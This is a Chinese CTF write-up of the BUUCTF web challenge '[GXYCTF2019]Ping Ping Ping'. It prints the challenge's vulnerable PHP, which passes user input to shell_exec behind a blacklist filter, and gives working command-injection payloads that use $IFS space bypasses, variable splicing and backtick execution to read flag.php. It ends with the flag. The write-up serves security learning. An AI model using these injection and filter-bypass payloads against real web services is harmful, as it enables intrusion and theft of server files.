[GXYCTF2019]Ping Ping Ping
[GXYCTF2019]Ping Ping Ping
题目来源:buuctf
题目类型:web
涉及考点:命令执行
1. 题目页面如下:
我们将其作为参数传入,/?ip=127.0.0.1
,回显如下:
接下来通过命令行查看目录:/?ip=127.0.0.1;ls
2. 发现了flag.php,直接查看
/?ip=127.0.0.1;cat flag.php
发现空格被过滤了,我们采取以下几种常见的绕过方法:
$IFS
${IFS}
$IFS$1 //1可以换成任意数字
<
<>
绕过空格之后发现flag也被过滤了:
还是查看一下index.php,看看有什么线索:
/?ip=127.0.0.1;cat$IFS$1index.php
可以看到一连串的过滤规则
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
//过滤 & / ? * < x{00}到x{20} > ' " \ ( ) [ ] { }
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
//过滤 空格
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
//过滤 bash
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
//过滤 flag(严格来说,是字符串中,flag依序出现的都被过滤)
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
3. 接下来尝试绕过
法一:
思路是通过变量覆盖来实现,具体做法:
将 flag 中的 g 赋值给变量 a,在命令行中用 fla$a
来表示 flag,构造的payload如下:
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
F12检查发现了flag:
法二:
通过内联执行,让 ls 作为cat的参数传入,即可绕过flag:
/?ip=127.0.0.1;cat$IFS$1`ls`
同样在源码中看到flag:
内联执行:即一个命令的结果作为另一个命令的参数使用
flag{0e459f07-aff4-4d6a-bea9-115e1309b55e}
日期:2023.7.18
作者:y0Zero